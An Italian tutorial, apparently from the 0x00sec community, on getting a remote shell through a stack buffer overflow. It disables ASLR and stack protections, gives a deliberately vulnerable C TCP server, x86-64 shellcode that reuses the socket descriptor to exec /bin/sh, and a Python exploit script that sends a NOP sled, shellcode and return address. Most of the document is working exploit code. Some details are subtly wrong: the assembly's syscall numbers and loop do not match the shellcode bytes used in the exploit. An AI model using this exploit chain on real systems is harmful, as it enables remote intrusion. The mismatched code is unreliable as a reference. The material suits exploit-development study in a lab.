Vediamo come ottenere l'accesso ad una macchina (vulnerabile e remota) tramite shell.
Iniziamo a preparare l'ambiente, per questo test andremo a disabilitare diverse funzionalità. Una volta preparato lo shellcode proveremo ad attivare le protezioni e sfruttare nuovamente il programma.
Disabilitiamo l'Address space layout randomization" in poche parole un sistema utilizzato per rendere più difficile per un potenziale attaccante sfruttare vulnerabilità. ASLR modifica casualmente la disposizione della memoria di un processo in caricamento in modo che le diverse regioni della memoria (stack, heap, varie librerie ecc) siano sempre in posizione diverse, questo permette di ridurre gli attacchi in buffer overflow.
Per disattivarlo:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
A questo punto riavvia il sistema.
Disabilita anche le altre funzioni di sicurezza:
-fno-stack-protector -z execstack
Ora iniziamo a scrivere il codice per un server TCP in C con un evidente buffer flow, ascolta su una porta specifica (9000 nel nostro caso) e accetta connessioni in arrivo dai client. Una volta connessi riceve dati inviati dal client e li memorizza in un buffer che invia una risposta identica al client.
All'inizio viene creato un socket (s) per la porta 9000 e il server entra nel while per accettare continuamente connessioni in arrivo.
Quando rileva una connessione il server la accetta e crea un nuovo socket (s1) per comunicare con il client.
Si leggono i dati inviati dal client (read(s1, reply, 1024) e si memorizzano nel buffer 1024 (char reply[1024].
Infine si richiama process_request
per elaborare i dati e risposte, finito il processo il socket si chiude per aprirne uno nuovo.
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int process_request(int s1, char *reply) {
char result[256];
strcpy(result, reply);
write(s1, result, strlen(result));
printf("Risultato: %p\n", &result);
return 0;
}
int main(int argc, char *argv[]) {
struct sockaddr_in server, client;
socklen_t len = sizeof(struct sockaddr_in);
int s, s1, ops = 1;
char reply[1024];
server.sin_addr.s_addr = INADDR_ANY;
server.sin_family = AF_INET;
server.sin_port = htons(9000);
s = socket(PF_INET, SOCK_STREAM, 0);
if ((setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0)
perror("pb_server (reuseaddr):");
bind(s, (struct sockaddr *)&server, sizeof(server));
listen(s, 10);
while (1) {
s1 = accept(s, (struct sockaddr *)&client, &len);
printf("Connessione da %s\n", inet_ntoa(client.sin_addr));
memset(reply, 0, 1024);
read(s1, reply, 1024);
process_request(s1, reply);
close(s1);
}
return 0;
}
Finito! Ora rendiamolo più semplice da applicare:
gcc -g -fno-stack-protector -z execstack -o target target.c
Verifichiamo se è vulnerabile:
perl -e 'print "A"x1024;' | nc localhost 9000
Output:
./target
Connection from 127.0.0.1
Result: 0x7fffffffdbf0
Segmentation fault (core dumped)
Ora proviamo a prendere il controllo di un dispositivo da remoto! Per remoto intendo che esiste una rete tra la macchina vulnerabile e aggressore quindi dobbiamo inviare/ricevere dati attraverso qualche socket.
I metodi più conosciuti sono 2: creare uno shellcode che consente connessioni dall'esterno e alimenta i dati dentro e fuori una shell in modo diretto (come nel caso sopra) o creare uno shellcode che si riconnette a un host dove alcuni server stanno aspettando la connessione dalla vittima (reverse shell). Per Unix esiste anche un altro metodo l'HTTP persistent connection!
l'HTTP persistent connection o connection reuse in parole semplici è una tecnica dove si cerca di riutilizzare una connessione TCP esistente anziché aprirne una nuova ogni volta che un client si connette al server.
Con questa tecnica serve neanche aprire socket, andiamo a sfruttare il fatto che il sistema assegna le descrizioni dei file in sequenza quindi basta duplicare una di queste descrizioni, andremo a ricevere un file identico a quello del socket associato alla nostra connessione (in pratica tutte le richieste).
Per i sistemi 64bit:
section .text
global _start
_start:
;; s = Dup (0) - 1
xor rdi, rdi
mov al, 0x21 ; DUP (rax=0x21)
xor rsi, rsi
syscall ; DUP (rax=0x21) rdi = 0 (dup (0))
dec rax ; dec rax
mov rdi, rax ; mov rdi, rax ; dec rdi
;; dup2 (s, 0); dup2(s,1); dup2(s,2)
mov esi, 3 ; Counter for loop
loop:
mov al, 0x21 ; DUP2 (rax=0x21)
syscall ; DUP2 (rax=0x21) rdi=oldfd (socket) rsi=newfd
dec esi ; Decrease loop counter
jnz loop ; Continue looping until esi is zero
;; exec (/bin/sh)
xor rdi, rdi ; Clear rdi
mov rax, 0x68732f6e69622f2f ; "//bin/sh" in little-endian
push rax ; Push "/bin/sh" onto the stack
mov rdi, rsp ; Move the address of "/bin/sh" into rdi
xor rsi, rsi ; Clear rsi
xor rdx, rdx ; Clear rdx
mov al, 0x3b ; EXEC (rax=0x3b)
syscall ; Execute "/bin/sh"
Qui lo scopo è eseguire la shell /bin/sh, all'inizio si duplica file descriptor stdin (0) tramite syscall dup, per corrispondenza si usa il numero corrispondente a dup che è 33 (0x21 in esadecimale) facendo rimanere l'indice a 0.
Il numero viene passato a 1 per ottenere l'ultimo file descriptor disponibile prima della duplicazione, poi viene tutto memorizzato su rdi.
La syscall dup2 viene usata per duplicare il file descriptor (ottenuto prima) per tutti e tre gli stream di input/output (stdin, stdout e stderr).
Tramite ciclo si richiama dup2 tre volte (per i rispettivi stream).
Il ciclo termina quando l'indice su esi è 0.
Con la syscall execve si avvia la shell (59 in esadecimale, 0x3b in rax).
Estrazione e compilazione del codice:
nasm -f elf64 -o rsh.o rsh.asm
Ora otteniamo i dati binari:
for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
Ecco il nostro buffer overflow, ora dovrete scrivere l'exploit vi lascio un semplice esempio in Python:
#!/usr/bin/env python3
import socket
import select
print("Remote Exploit Example")
print("by 0x00pf for 0x00sec :)\n")
addr = b"\x10\xdd\xff\xff\xff\x7f\x00\x00"
off = 264
shellcode = b"\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05"
nops = off - len(shellcode)
payload = b"\x90" * nops + shellcode + addr
plen = len(payload)
slen = len(shellcode)
print("SLED", nops, "Shellcode:", slen, "Payload size:", plen)
socket_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_fd.connect(('127.0.0.1', 9000))
inputs = [socket_fd, socket.stdin]
socket_fd.send(payload)
socket_fd.recv(1024)
timeout = 0.1
flag = True # Just to show a prompt
while True:
ready_to_read, _, _ = select.select(inputs, [], [], timeout)
for ready in ready_to_read:
flag = True
if ready == socket_fd:
resp = socket_fd.recv(1024)
print(resp.decode(), end="")
else:
line = input()
socket_fd.send(line.encode())
else:
if flag:
print("0x00pf]> ", end="")
flag = False
Una volta eseguito l'exploit vi consiglio di usare netcat per il pentesting.